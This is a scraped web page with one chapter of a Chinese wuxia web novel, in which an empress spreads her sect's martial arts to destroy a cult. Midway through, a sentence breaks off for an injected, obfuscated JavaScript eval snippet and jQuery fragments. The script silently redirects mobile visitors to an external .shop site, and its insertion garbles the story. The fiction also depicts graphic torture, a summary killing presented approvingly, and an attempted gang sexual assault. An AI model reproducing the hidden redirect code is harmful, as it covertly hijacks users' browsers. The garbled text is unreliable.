文趣网 > 其他小说 > 江山永夜 > 48. 荻花宫身败名裂
    男刺客凛冬感觉自己的头骨像是被人从中间劈开了一般剧痛。湿冷的雨水顺着他的额角淌下来,混杂着一丝干涸的血迹,在石板缝隙间洇开浅淡的红色。他费力地睁开眼睛,天香城的天空灰蒙蒙的,像是被谁蒙上了一层裹尸布,细密的雨丝斜斜地织下来,打在青石铺就的长街上,溅起细碎的水花。

    他记得自己潜入天香城,是为了追查荻花宫传功弟子的行踪。那些弟子像耗子一样四处窜,在暗巷里、在破庙中、在穷苦人家的屋檐下,把那些邪门的功法传给一个又一个无辜百姓。凛冬追踪了整整七日,眼看就要摸到他们的老巢,却在那条巷子的尽头听见了一阵诡异的笛声。那笛声像是从地底钻出来的,阴冷、湿滑,钻进耳朵里就顺着血脉往上爬,爬到脑子里就变成了千万根针。他咬着牙往前走了三步,然后眼前一黑,什么都不知道了。

    他撑着地面站起来,手掌按在一滩污水里,溅起的泥点沾在他的衣襟上。街道上一片狼藉,翻倒的菜筐滚落在路中央,菜叶子被踩得稀烂,混着泥水散发出腐烂的气味。临街的几家铺子大门紧闭,门板上被人用朱砂画了歪歪扭扭的花形图案——那是荻花宫的标记。

    几个衣衫凌乱的女子正在街道中央手舞足蹈。她们的发髻散乱,簪环歪斜,脸上沾着污泥,眼神涣散而狂热,嘴里念念有词。

    “荻花宫万岁!推翻夜朝!哈哈哈!”一个穿着碎花布裙的中年妇人张开双臂仰天大笑,雨水灌进她的嘴里,她却浑然不觉,笑得浑身颤抖,笑声尖锐刺耳,“花神娘娘下凡了!娘娘来救我们了!那狗皇帝要完蛋了!”

    “花神娘娘万岁!白莲玉足万岁!”另一个年纪稍轻的女子双手高举过头顶,做出膜拜的姿态,她的手腕上还戴着一只银镯子,镯子上刻着“平安”二字,在雨中晃来晃去。她像是戏台上唱花旦的,脚步凌乱地踩着台步,咿咿呀呀地唱道,“那皇帝时日无多了!白莲足踏上金銮殿!山河变色!日月无光!”

    一个身材瘦小的女子蹲在地上,双手抱住自己的膝盖,像是要把自己缩成一团,仰着脸在雨中哈哈大笑着:“我好开心!我好开心!那狗皇帝终于要完蛋了!她不行了!她快死了!哈哈哈——”她笑着笑着,眼泪却顺着脸颊流下来,分不清是雨水还是泪水。

    凛冬猛地站了起来,浑身的肌肉绷紧,他的手按在腰间的刀柄上,刀鞘因为他的用力而微微颤动。他看着这三个女人疯癫的模样,胸口像是被什么东西堵住了,一团火从丹田蹿上来,烧得他双目赤红。他厉声呵斥道:“说!是谁教你们说的这些疯话!”

    三个女人被他这一声断喝震得愣了愣,随即又恢复了那副疯疯癫癫的模样。那中年妇人歪着脑袋看着他,口水从嘴角流下来,痴痴地说:“是花神娘娘教的!娘娘说了,只要跟着念,心里就快活了!”

    “对!”年轻女子拍着手跳起来,“娘娘教我们的!娘娘还说,等荻花宫坐了天下,我们都是功臣!”

    “去你的花神娘娘!”凛冬拔出了手中的刀,刀身与刀鞘摩擦发出一声清越的鸣响,寒光在雨中一闪。他的眼神冷得像冰,声音却燃烧着怒火,“竟敢对夜凉陛下无礼?!”

    刀光闪过。

    三个疯癫女人的咽喉处同时出现了一道细细的红线。那道红线迅速扩大,鲜血喷涌而出,溅在青石路面上,被雨水冲刷开来,像是绽放在地上的红花。她们甚至来不及发出惨叫,身体便软软地倒了下去,眼睛还睁得大大的,带着那疯癫的笑意,定格在这一刻。

    凛冬收刀入鞘,刀身上沾着的血珠顺着刃口滑落,滴在他的靴尖上。他看着三具尸体,脸上没有一丝波澜,仿佛只是踩死了三只蝼蚁。

    远处传来清脆的马蹄声,节奏急促,踏在青石路上发出“嗒嗒嗒”的脆响。凛冬抬头望去,只见一匹黑马从雨幕中疾驰而来,马上的人衣衫凌乱,墨色的斗篷被风吹得猎猎作响。马在距离他三步远的地方被猛地勒住,前蹄高高扬起,发出一声嘶鸣。

    媚儿翻身下马,斗篷的兜帽滑落下来,露出一张英气勃勃的面孔。她的发丝被雨打湿,贴在脸颊两侧,眉宇间带着一抹难以掩饰的疲惫和急切。“凛冬!你都探查到什么了?!”

    她的话音刚落,目光便落在了地上那三具女人的尸体上。雨水冲刷着她们的面孔,冲刷着她们脖颈间那道整齐的切口,血迹被冲淡了,但仍然触目惊心。媚儿的神情一凝,瞳孔微微收缩:“她们怎么了?”

    凛冬看了一眼那三具尸体,语气中带着不屑和冰冷的厌恶:“她们被邪教传功的发了疯,出言诋毁圣上,我便杀了她们三个。”

    “这种人,死不足惜。”媚儿收回目光,神色恢复了冷厉,“本统领刚刚才从荻花宫潜伏回来,那帮邪魔歪道的手段,我亲眼所见,比起这三个疯子,更残忍百倍。”

    凛冬立刻整理仪容,抱拳行礼道:“统领大人!下官敢问可查探到了什么?!”

    媚儿压低声音,凑近凛冬耳边,气息急促地说道:“那荻花宫护法花澜,武功高深莫测。我与他们一众兄弟一起上,都打不过他一个人!他的内力之深厚,身法之诡谲,是我生平仅见。”她的眼神中闪过一丝忌惮,“荻花宫野心膨胀,已经不是一日两日的事了。如今他们四处传功,蛊惑百姓,其心可诛。你这就随我去禀告女帝,商议对策!”

    两人翻身上马,一夹马腹,黑马和白马同时跃出,马蹄踏碎了街道上的积水,向着京师的方向疾驰而去。雨越下越大,打在他们的斗篷上噼啪作响,身后的天香城渐渐缩小成一个灰蒙蒙的轮廓,而那条长街上,三具女人的尸体静静地躺在雨中,像是被遗忘的棋子。

    天香城的另一头,一条狭窄的巷子里,墙角的青苔被雨水泡得发胀。

    一个荻花宫女弟子蹲在屋檐下,她穿着一身素白的襦裙,裙摆沾了些泥水,却仍然保持着一副洁净出尘的模样。她的面容清秀,眉眼温柔,看起来不过十七八岁的年纪。此刻她正伸出纤白的手,轻轻抚摸着一个孩童的头顶,姿态温柔得像母亲在抚慰自己的孩子。

    那个孩童不过五六岁的样子,穿着一件打着补丁的粗布短褐,赤着脚站在泥地里,仰着脸看着她,一双黑葡萄似的大眼睛里满是天真。

    “小弟弟!”那荻花宫女弟子笑吟吟地说,声音软糯得像年糕,“姐姐给你编个歌谣好不好呀?”

    那小童眨了眨眼睛,天真地点了点头。

    那荻花宫女弟子弯起眼睛,脸上的笑容温柔得像春水,一字一句地教道:“荻花出!夜朝灭!白莲足!山河覆!踏平京师抓夜凉!!!”

    小童跟着她念了一遍,念得磕磕绊绊,但那宫女弟子极有耐心,一遍又一遍地教他,直到那孩子能背得滚瓜烂熟。她拍了拍他的小脑袋,从袖子里摸出一块麦芽糖塞进他手里:“去玩吧,把这歌谣教给你的小伙伴们,姐姐给你糖吃。”

    那几个小孩便像小鸟一般四散开去,一边跑一边喊着那顺口溜,稚嫩的童声在巷子里回荡:“荻花出!夜朝灭!白莲足!山河覆!踏平京师抓夜凉!”

    那荻花宫女弟子站起身来,拍了拍裙摆上的泥土,望着那几个孩子远去的方向,嘴角的笑容渐渐从温柔变得意味深长。

    京师的大门巍峨耸立在雨幕之中。

    这座天下第一雄关般的城门,高达十丈有余,城墙由巨大的青砖砌成,每一块砖上都刻着工匠的名字。城门的铜钉颗颗分明,被雨水冲刷得锃亮。城门上方悬挂着巨大的匾额,上书“京师”二字,笔力遒劲,是开国皇帝夜胤亲笔所题。

    媚儿和凛冬策马入城,马蹄声在城门洞子里回荡,发出空洞的回响。守城的士兵看见媚儿腰间的统领令牌,纷纷单膝跪地,连头都不敢抬。

    就在这时,一阵清脆的童声从城门旁的集市口传来,像是一群麻雀在叽叽喳喳地叫。起初听不清唱的是什么,但等马匹走近了,那歌谣便一字一句地钻进了耳朵里。

    “荻花出,夜朝灭,白莲足,山河覆,踏平京师抓夜凉。”

    一群孩童在集市口的空地上拍着手,围成一个圆圈,一边跳一边唱着这首童谣。他们的脸上带着天真无邪的笑容,仿佛唱的不过是什么“小老鼠上灯台”之类的游戏歌谣。旁边的摊贩们有的面色微变,有的若无其事地继续做生意,仿佛什么都没听见。

    媚儿猛地勒住马,眼神一凛,眼中杀意毕现:“岂有此理!这邪教果真嚣张狂妄!连京师的街头都有这样的歌谣了!”她的手按在腰间的峨眉刺上,指节因为用力而发白,“看本统领禀明女帝,将你们通通挫骨扬灰!”

    凛冬没有说话,目光沉沉地扫过那群还在拍手唱歌的孩童。他知道,杀得了这三个人,杀不了千千万万个学会这首歌谣的孩子。

    两人翻身下马,步行穿过宫门。守门的禁军统领看见媚儿,立刻命人打开了偏门。两人一身黑衣,媚儿在前,凛冬在后,脚步匆匆地穿过长长的宫道。宫道两侧的宫灯在雨中摇曳,昏黄的光晕投射在湿漉漉的汉白玉路面上,映出两人修长的影子。

    召见宫殿的殿门敞开着,殿内灯火通明。龙涎香从殿内飘散出来,混合着雨水的清冽,形成一种奇特的气味。

    夜凉女帝正坐在龙椅上,但她的坐姿却一点都不像个帝王——她歪着身子靠在扶手上,一条腿屈起来搭在龙椅的边缘,另一条腿从袍子里探出来,赤着脚踩在龙椅下的脚踏上,脚踝纤细,脚背的青筋隐约可见,皮肤白得有些透明,像上好的羊脂玉。

    她的头发是柔顺的黑色,披散在肩头,梳着利落的公主切发型,额前齐眉的刘海让她看起来不像一个君临天下的女帝,倒像一个还没出阁的贵族小姐。她的眼型是狭长的狐狸眼,眼尾微微上挑,瞳仁是一种奇异的紫红色,在烛光下流转着宝石般的光泽。她的嘴唇点了绛色的口脂,薄而精致,下巴尖细玲珑。她的皮肤因为常年修炼清风腿法,白得有些发青,像是薄薄的瓷,轻轻一碰就会碎裂。

    她身材八尺有余,一双修长的玉腿在月白色的睡袍里半掩半藏着。袍子的质地柔软轻薄,勾勒出她窈窕曼妙的身材曲线,腰肢纤细得不盈一握,而袍子下摆微微敞开,隐约露出一截小腿和赤足,脚趾圆润,指甲上涂着淡粉色的蔻丹。

    “是媚儿统领!”夜凉看见来人,脸上的慵懒一扫而空,取而代之的是毫不掩饰的欣喜。她一骨碌从龙椅上爬了起来,赤着脚踩在冰凉的金砖地面上,几步就迎了上去,月白色的睡袍在她身后飞扬起来,像是一只白色的大鸟展开了翅膀,“快快请进!”

    媚儿单膝跪地,右手握拳按在胸口,低头行礼道:“下官媚儿!参见女帝!”

    凛冬则是双膝跪地,伏身不起,额头贴在冰凉的金砖上。

    夜凉快步走到媚儿面前,双手扶住她的肩膀,将她扶了起来。她的目光扫过媚儿的手臂,那里有一道深可见骨的伤口,虽然已经草草包扎过,但血迹仍然从绷带下渗出来,洇红了一小片。夜凉的眼神瞬间变了,那紫红色的眸子里泛起了一层薄薄的水光,心疼和不舍在她眼底翻涌,却被她强行压了下去。

    “爱卿辛苦了。”她的声音微微发颤,却努力保持着平稳。

    媚儿皱紧眉头,顾不上手臂的伤痛,语速极快地禀报道:“陛下,那些反贼无法无天!荻花宫的人到处传邪功给百姓,用摄魂之术控制他们的神志。被传功的人十个有八个都疯掉了,整日胡言乱语,满口都是大逆不道的话。他们编歌谣、编谣言、诋毁朝廷、诋毁陛下!臣亲眼所见,天香城里已经遍地都是被传功发疯的人,连京师街头都有人在传唱那首大逆不道的歌谣!”

    夜凉静静地听着,面色越来越冷。她赤脚站在金砖地面上,寒气从脚底升上来,她却像是感觉不到一样。她的狐狸眼微微眯起来,那紫红色的瞳仁深处有什么东西在燃烧,冰冷而锋利。

    “爱卿可有应对之策?”她问道,声音冷静得不像是一个刚刚还满脸欣喜的年轻女子。

    凛冬抬起头来,仍然保持着跪姿,抱拳说道:“微臣有一计策。既然荻花宫传邪功给百姓,以邪功惑众——陛下,您不是师从清风阁么?”

    夜凉的眉梢微微一挑,那对狐狸眼中闪过一丝了然的光芒。她缓缓地转过身去,赤足踩在金砖上,一步一步地走向龙椅,裙摆在地面上拖曳出轻微的沙沙声。她站定在龙椅前,背对着两人,沉默了许久。

    然后她回过头来,侧脸的轮廓在烛光下显出刀削般的冷厉:“你是说,要朕将清风阁的内功传授给百姓,以正克邪,让荻花宫身败名裂?”

    凛冬抱拳,声音斩钉截铁:“微臣正是此意!”

    殿内一时寂静无声。龙涎香的烟袅袅升起,在烛光下变幻着形状。殿外的雨声淅淅沥沥,打在琉璃瓦上,像是无数根细针在敲击。

    夜凉抬起头,目光穿透了大殿的穹顶,望向了远方——望向了那座在云雾中若隐若现的山峰,望向了那条通向清风阁的蜿蜒步道。她的睫毛微微颤动,像是蝴蝶的翅膀。

    翌日清晨,雨停了。

    夜凉孤身一人,骑着一匹雪白的骏马,出了京师城门,一路向北。她没有穿龙袍,只穿了一身素白的劲装,长发高高束起,露出修长白皙的脖颈。骏马撒开四蹄,顺着官道奔驰,马蹄踏碎了路边的露珠,惊起了一群在田间觅食的白鹭。

    清风阁坐落在京师以北的清风山上,山势险峻,林木葱茏,云雾终年不散,远远望去,山巅的阁楼仿佛是悬在云端之上。通往山上的步道是青石铺就的,一共九千九百九十九级台阶,蜿蜒曲折,隐没在苍翠的松柏之间。

    夜凉策马到了山脚下,那台阶的起始处立着一块巨大的石碑,上面刻着“清风阁”三个大字,字迹飘逸,像是有风从字里行间穿过。她翻身下马,将缰绳系在旁边的拴马石上,拍了拍白马的脖子,那白马亲昵地蹭了蹭她的手心。

    她抬起头望向山顶。九千九百九十九级台阶,一级一级地隐入云雾之中,看不见尽头。她没有犹豫,抬脚踏上了第一级台阶。

    石阶被山间的露水打湿,有些湿滑。两侧的松柏苍翠欲滴,树冠遮天蔽日,只有零星的阳光从枝叶的缝隙中漏下来,落在石阶上,斑驳如金。山风穿林而过,带着松脂的清香和泥土的湿润气息。

    夜凉一步一步地向上走去。她的腿很长,一步能跨两级台阶,步伐稳健而轻盈。清风腿法的底子让她的步履轻快得像是在水面上滑行,几乎听不见脚步声。但随着台阶一级一级地向上延伸,她的脚步却越来越慢,越来越沉重。

    不是因为疲惫。

    她的身体强健,攀登这九千九百九十九级台阶对她来说不过是一次晨练。让她脚步沉重的,是那些随着山风一起涌上心头的记忆。

    夜凉九岁那年,还是大夜朝最受宠爱的小公主。

    她的皇兄夜烛大她七岁,是太子,是储君,是满朝文武交口称赞的未来明君。但在她面前,他只是一个会笑着揉她脑袋、偷偷塞糖给她吃的兄长。

    夜凉从小就野。别的公主在女班里学刺绣女工,她偏偏翻墙跑到男班去,和那群武官家的子弟们打架。她的拳头不够硬,但腿法极有天赋,七八岁的时候就能一脚踢断碗口粗的木桩。男班的武学师父们见她资质出众,便睁一只眼闭一只眼地教她几招。但她终究是个公主,那些武学师父不敢真的把她当弟子教,每回她溜进男班的武场,就有一个师父把她生生揪回去,一路唠叨着“公主殿下应该去学琴棋书画”之类的话。

    她记得那天她被揪回去的时候,气得眼泪在眼眶里打转,却倔强地不肯让它们落下来。她蹲在御花园的假山后面,拿拳头一下一下地砸石头,砸得指节都破了皮。

    然后一只手从背后伸过来,轻轻握住了她的手腕。

    “凉儿。”夜烛的声音温柔得像春日的暖阳,“手砸坏了,以后怎么练拳?”

    夜凉回过头去,看见皇兄那张温婉的脸颊。他的眉眼和她有几分相似,但更柔和,像是被水磨过的玉石。他穿着一身月白色的袍子,袖口绣着银色的龙纹,长长的头发只用一根玉簪松松地挽着,几缕碎发垂在脸侧。

    “皇兄!”夜凉扑进他怀里,把脸埋在他的胸口,闷闷地说,“他们都不让我练武,他们说我应该学绣花!我不想绣花!我要练武!我要变厉害!”

    夜烛轻轻拍着她的后背,等她哭够了,才扶着她的肩膀,蹲下身来,平视着她的眼睛。“凉儿,不就是清风阁吗?”他笑着说,那双温柔的眼睛弯成了月牙,“皇兄带你去!”

    第二天,夜烛就向父皇请了旨,说要带小公主去清风阁拜师学艺。满朝文武都反对,说公主金枝玉叶,怎么能去山上吃苦。但夜烛跪在殿前,一句话都没说,就那么跪了整整三个时辰,直到父皇叹了口气,点了头。

    夜烛亲自送她上的清风阁。他牵着她的手,一步一步走过了这九千九百九十九级台阶,走得满身是汗,却始终没有松开她的手。把她送到清风阁掌门清逸面前的时候,他站在门外,对她说:“凉儿,好好学,等你学成了,皇兄来接你。”

    夜凉在清风阁一待就是七年。七年间,她从九岁的小丫头长成了十九岁的少女,练就了一身惊世骇俗的清风腿法。而夜烛每个月都会上山来看她,给她带宫里的点心,给她讲朝堂上的趣事,陪她在山间的芙蓉花海里散步。

    她十六岁那年的春天,芙蓉花开得漫山遍野,粉色的花瓣铺满了整条山道。夜烛来山上看她,两人并肩走在花海中,花瓣随着山风飘落,落在他们的肩头和发间。

    然后夜烛忽然停下脚步,转过身来,面对着她。他的脸色苍白得异常,嘴唇几乎没有血色。

    “凉儿。”他叫她的名字,声音还是那样温柔,但温柔中带着一种她从未听过的沉痛。

    “皇兄?”夜凉察觉到了不对劲,伸手去握他的手,却发现他的手冰凉得吓人。

    夜烛笑了,那笑容温柔得让人心碎。他伸出手,轻轻抚摸着她的脸颊,拇指擦过她的眼角。“凉儿,皇兄以后,可能不能再来看你了。”

    “皇兄你在说什么?”夜凉的声音开始发抖。

    “我中了毒。”夜烛平静地说,就像在说今天天气不错一样。“苍狼部的箭上,有剧毒。”

    夜凉的眼泪夺眶而出,她拼命摇头:“不会的!我去找解药!我一定——”

    夜烛握住了她的手,将她拉进怀里,轻轻地、像哄小孩一样拍着她的背。“别哭,凉儿。人总有一死,只是皇兄的命比旁人短一些罢了。”他的声音开始变得微弱,下巴搁在她的头顶,“夜朝的江山……就托付给你了。父皇年迈,朝中虎狼环伺。你……替皇兄守住它。”

    他松开她,后退了一步。山风吹起他的衣袍,那月白色的袍子上不知何时洇开了一朵血花,在他胸口的位置,红得刺眼。

    “皇兄!”夜凉的尖叫声惊起了满山的飞鸟。

    夜烛的嘴角渗出一抹嫣红的血迹,缓缓流下,滴在他的袍子上,滴在她的手上,也滴在她的心上。他就那么站着,脸上带着最后的微笑,然后像一片被风吹落的芙蓉花瓣,无声无息地倒了下去。

    夜凉扑倒在他身边,把他抱在怀里,拼命地喊他的名字,拼命地摇晃他,但他再也没有睁开眼睛。他的身体在她怀里一点一点地变冷,那温柔的笑容凝固在他的嘴角,成了她余生无法磨灭的烙印。

    夜凉跪在花海中,抱着皇兄渐渐冷去的身体,哭得撕心裂肺。漫天的芙蓉花瓣飘落下来,落在他苍白的脸上,落在她被泪水浸湿的衣襟上,落在那些被鲜血染红的泥土上。

    从那以后,她再也没有哭过。

    她想起小时候,皇兄给她讲睡前故事的那些夜晚。

    “凉儿,你知道前朝的亡国皇帝殷尊是怎么死的吗?”夜烛坐在她的床边,手里捧着一本泛黄的史书,烛光在他脸上投下温暖的光影。

    小夜凉裹在被子里,只露出一双乌溜溜的大眼睛:“怎么死的呀?”

    “他死在长枪之下。”夜烛翻开史书,指着上面的一幅插图给她看。那画上画着一个身着龙袍的年轻帝王,胸口被长枪贯穿,倒在一片血泊之中,身上像是开了一朵凄艳的蔷薇花,“你看,他倒在长枪之下,像不像一朵蔷薇花?”

    “好红啊。”小夜凉看着那幅画,皱了皱眉头,“红色的,刺眼睛。”

    “是啊,红的刺眼。”夜烛合上书本,轻轻摸了摸她的头,“所以凉儿要记住,亡国之君的下场,就是这样惨烈。我们夜家的江山,要靠每一个夜家人来守护。”

    那幅画、那朵血色的蔷薇、皇兄温柔的声音,在那之后的无数个夜里,反复出现在她的梦中。红的刺眼,灼痛了她年幼的双眼,也灼痛了她余生的每一个日夜。

    夜凉站在清风阁的山门前,那些记忆如同潮水般涌来又退去,留下一地的潮湿和冰冷。她深吸一口气,将那些画面重新压回心底最深处,然后抬起手,推开了那扇沉重的木门。

    清风阁掌门清逸亲自来接见她。

    那是一位仙风道骨的老人,须发皆白,但面色红润如童子,一袭青衫纤尘不染,站在松柏之下的身影,像是从画中走出来的仙人。他看着站在门前的夜凉,目光深邃而复杂,像是看到了那个多年前被兄长牵着手送上山的小姑娘。

    “掌门。”夜凉双手抱拳,行的不是帝王之礼,而是弟子之礼。她的声音在空旷的山门前回荡,带着一种沉甸甸的重量,“弟子夜凉,恳求掌门向平民百姓传功,用来对抗荻花宫邪教!”

    清逸沉默了很久。山风穿过松林,发出呜咽般的声响。

    “凉儿。”他开口了,声音苍老而平稳,“清风阁的内功心法,历来只传本门弟子,从不外传。这是开派祖师定下的规矩,三百年来无人敢破。”

    夜凉抬起头,那双紫红色的狐狸眼里没有乞求,没有威压,只有一种沉静的决绝:“皇兄的仇,夜朝的江山,万千被邪教蛊惑的无辜百姓——掌门,这三个理由,够不够让弟子破了这规矩?”

    清逸看着她,目光像是穿透了她的皮肉,直直看到了她灵魂深处的那团火焰。良久,他叹了口气,那叹息声在山风中飘散了。

    “如今这个局势,看来是非做不可了。”他缓缓说道,每一个字都像是有千钧之重,“本掌门允许你下山传功给百姓,以正克邪,使那魔教身败名裂,还我大夜太平江山!”

    夜凉单膝跪地,抱拳行礼,声音一字一句像是从齿缝里迸出来的:“弟子夜凉,谢掌门成全!”

    清风阁的传功弟子在三日之内便走遍了大街小巷。

    他们穿着青色的劲装,胸前绣着一只展翅的白鹤——那是清风阁的标志。他们在京师的各个坊市设立了传功点,搭起了简易的演武台,台子上挂着巨大的横幅:“清风阁正宗内功心法,免费传授,强身健体,匡扶社稷。”

    百姓们纷纷围观,人潮涌动,将一个个传功点围得水泄不通。

    “是清风阁的人!”一名年轻女子挤在人群中,踮着脚尖往台上看,脸上满是欣喜,“我在画本上见过他们的标志!那是清风阁的白鹤!好像很厉害的样子!”

    “何止是厉害!”旁边一名中年男子双手抱胸,面带得意之色,显然是个自诩见多识广的,“清风阁的腿法,天下无双!我舅舅当年在边关当过兵,亲眼见过清风阁的高人一脚踢裂了三尺厚的巨石!还有人说他们能在水面上行

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651419|206864||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    走,踏水无痕!”

    人群顿时沸腾了。

    “我要学!我要学!”一个半大小子举着手跳起来。

    “排队排队!都别跟我抢!”一个膀大腰圆的壮汉往报名处挤。

    “让一让!让开!我第一个来的!”一个头发花白的老妪挥舞着拐杖往前挤,身手矫健得不像个老人。

    报名处的几张长桌几乎被人群挤翻,负责登记的清风阁弟子忙得满头大汗,笔墨用了一砚又一砚,名册写了一本又一本。短短数个月间,清风阁的百姓弟子遍地都是,大街小巷、茶楼酒肆、田间地头,到处都能看见有人在练习清风阁的基本步法和吐纳心法。人满为患,却井然有序。

    而与之相对应的,是荻花宫的溃败。

    那些曾经趾高气扬、满口“花神娘娘”的荻花宫女弟子们,一夜之间从施暴者变成了受害者。她们藏在暗处的传功点被百姓们搜出来,一个个被揪到大街上。那些被荻花宫邪功折磨过的百姓,和那些被清风阁内功武装起来的百姓,汇成了一股愤怒的洪流。

    荻花宫的女弟子们被当成疯子一样,被愤怒的百姓们在地上拖行。她们的白衣被泥水浸透,发丝散乱,脸上满是血污和泥垢。她们被拖过青石铺就的长街,身后拖出了长长的血迹,像是一条条赤红色的蛇。

    一群女子将一名荻花宫女弟子团团围住,扯下她头上的高冠,狠狠摔在地上,一脚踩碎。高冠上的珠翠滚落一地,被无数双脚踩进泥里。接着是她的襦裙——那象征着荻花宫圣洁形象的素白襦裙,被一双手粗暴地撕裂,露出里面的中衣。唾骂声、嘲笑声、拳脚落在□□上的闷响声,混杂在一起,形成了一首残酷的交响曲。

    “让你们给我们传邪功!让你们害人!”一个女人揪着那宫女弟子的头发,把她往墙上撞。

    “我妹妹被你们传了功,疯了三个月了!还我妹妹!”另一个女人一脚踢在那宫女弟子的小腹上。

    荻花宫的传功台被拆除,那高耸的汉白玉台基被一群抡着大锤的壮汉砸得粉碎。石块滚落,粉尘飞扬,那座曾经让无数百姓顶礼膜拜的神圣祭坛,如今只剩下了一堆瓦砾。

    夜凉女帝的旨意很快下来了:荻花宫女弟子,全部关押疯人所。

    疯人所——那是京师最阴森恐怖的地方,专门关押疯癫之人的监狱。铁栅栏锈迹斑斑,墙壁上长满了青黑色的霉斑,空气中弥漫着排泄物和腐烂物的恶臭。那些曾经圣洁如仙子的宫娥女弟子们,如今被关在狭小的铁笼子里,蓬头垢面,目光涣散。

    狱卒每天只从铁栅栏的缝隙里扔进一桶馊掉的剩饭。那些女弟子们便像野兽一样扑上去,用手抓着抢,满身污垢,头发纠结成团,脸上分不清是眼泪还是鼻涕。她们互相争抢着地上的一粒米、一片烂菜叶,曾经的高贵与圣洁荡然无存。

    铁一般坚硬的鞭子带着倒刺,一鞭一鞭地抽打在她们身上。鞭梢撕裂皮肤的声音清脆而残忍,混浊的赤黄色鲜血从伤口流出,浸透了破烂的囚衣。她们在鞭打下翻滚、惨叫、求饶,但没有人在意。那些狱卒的脸上带着复仇的快意——他们的家人,或多或少,都曾被荻花宫的邪功毒害过。

    而在京师和各州府的演武场上,一场又一场的生死状比武在擂台上展开。

    清风阁的弟子们身穿青色劲装,站在比武高台上,意气风发。他们的对手是那些被俘的荻花宫女弟子,手脚戴着镣铐,面如死灰。这场比武没有任何悬念——那些曾经不可一世的荻花宫女弟子们,内力被封,武功被废大半,哪里是清风阁弟子的对手?

    一个又一个的女弟子被打败。清风阁的扫腿如同铁鞭,抽在她们的小腿上,骨裂声清晰可闻。她们的脚踝被缠住,整个人被摔出去,重重地砸在擂台的木板上,木板都被砸出了裂纹。她们被一脚踹飞,身体在空中划过一道弧线,然后狠狠摔在擂台下,挣扎了几下便不动了。

    台下围观的百姓们发出震天的欢呼声。

    “打得好!”

    “让你们再害人!”

    “荻花宫!这就是你们的报应!”

    那欢呼声如同潮水,一浪高过一浪,淹没了擂台上的惨状。

    荻花宫内,已是空无一人。

    这座曾经香火鼎盛、弟子如云的圣地,如今像是一座鬼殿。殿门大开,没有人守卫,没有人洒扫。院落里的白莲花无人照料,已经枯死了大半,残败的花瓣漂浮在发黑的池水上。到处都是被砸烂的痕迹,被撕碎的经幡,被推倒的香炉,被涂满了污言秽语的墙壁。风吹过空荡荡的大殿,吹起了地上的灰尘,发出呜呜咽咽的声响,像是什么人在哭泣。

    女弟子死的死,逃的逃,被抓的被抓,如今整个荻花宫里只剩下两个人——花神和花澜。

    花神疯疯癫癫地在空无一人的大殿里跌跌撞撞地走来走去。她的头发乱得像鸟窝,上面沾满了草屑和灰尘。她身上那件曾经流光溢彩的百花襦裙,如今破烂不堪,裙摆被撕裂了,露出一截肮脏的小腿。她的脚上只穿了一只鞋,另一只赤足踩在冰冷的地面上,脚底满是伤口和老茧。

    她时而大笑,时而怒吼,时而对着空气说话,仿佛眼前还有万千弟子在向她顶礼膜拜。

    “本宫的荻花神功!天下无敌!万民俯仰!!!”她仰天怒吼,声音在空旷的殿宇间回荡,惊起了梁上栖息的乌鸦,嘎嘎地叫着飞走了。

    “本宫习练荻花神功,早已入了化境!”她转过身,对着墙上一面布满裂纹的铜镜,镜中的自己蓬头垢面,眼窝深陷,但她像是看不见一样,对着镜子里的幻象痴痴地说,“那些女弟子!她们给本宫下跪!她们让本宫的玉足踏在她们头顶!她们匍匐在本宫的脚下!像蝼蚁一样!”

    她突然猛地转过身,指着面前空无一人的大殿,厉声道:“你们清风阁!卑鄙下流!竟敢诋毁我荻花神功!不可饶恕!!!”她的眼中布满了血丝,声音因为嘶吼而变得沙哑,“本宫是花神娘娘!你们还不快快跪下!”

    几个清风阁男弟子碰巧从这里经过。他们穿着青色劲装,胸前绣着白鹤标志,本来是在附近巡逻搜查荻花宫余孽的。听见殿内的嘶吼声,几个人对视一眼,便推门走了进来。

    当他们看见那个蓬头垢面的疯女人时,先是愣了愣,随即辨认出了那身百花襦裙——那是花神的标志。他们的脸色变了,但变得不是恐惧,而是一种下流而残忍的兴奋。

    “哟!”为首的那个男弟子双手抱胸,歪着脑袋打量着花神,嘴角翘起一个邪气的弧度,“这不是花神娘娘吗?长得如花似玉的,可惜疯了!不如给我们哥几个尝尝鲜?”

    另外几个男弟子发出了粗鄙的笑声,目光在花神破烂衣衫下隐约露出的肌肤上逡巡。

    花神怒目圆睁,眼中迸发出疯狂的光芒:“你们放肆!你们放肆!来人呀!护驾!”

    没有人应答她。回答她的,只有荻花宫里潺潺的流水声——那枯莲池里最后的半池死水,还在不知疲倦地流淌着。

    几个清风阁男弟子七手八脚地扑了上来。肮脏的手撕裂了她的百花襦裙,撕裂了她最后的尊严。花神疯狂地挣扎着,尖叫着,踢打着,但她的武功早已在疯癫中废了大半,哪里敌得过几个身强力壮的清风阁弟子。

    她猛地甩了一个男弟子一个耳光,那一声清脆的巴掌声在空旷的大殿里回荡。她嘶吼道:“就凭你们这些下流货色!也想欺负本宫!我打死你!我打死你们这帮登徒子!”

    那个男弟子的脸颊上浮现出一个红红的掌印。他的眼神中闪过一丝错愕,然后是暴怒,然后是狠厉。他猛地一脚踹在花神的后脖子上,将她踹翻在地。她摔在冰冷的地面上,后脑勺磕在石板上,发出一声闷响。

    那男弟子咬着牙,一脚一脚地踩踏着她,每一脚都用尽全力。他的靴底狠狠地踩在她的胸口、她的腹部、她的手臂、她的腿上,她的头部,一边踩一边骂:“我打死你这个老妖婆!把我们弄成这副模样!你以为我们怕你啊!我打死你这个老妖婆!”

    骨骼爆裂的声音清脆而残忍,在空旷的大殿里回荡。花神起初还在惨叫,后来叫声越来越微弱,最后只剩下气若游丝的呻吟。

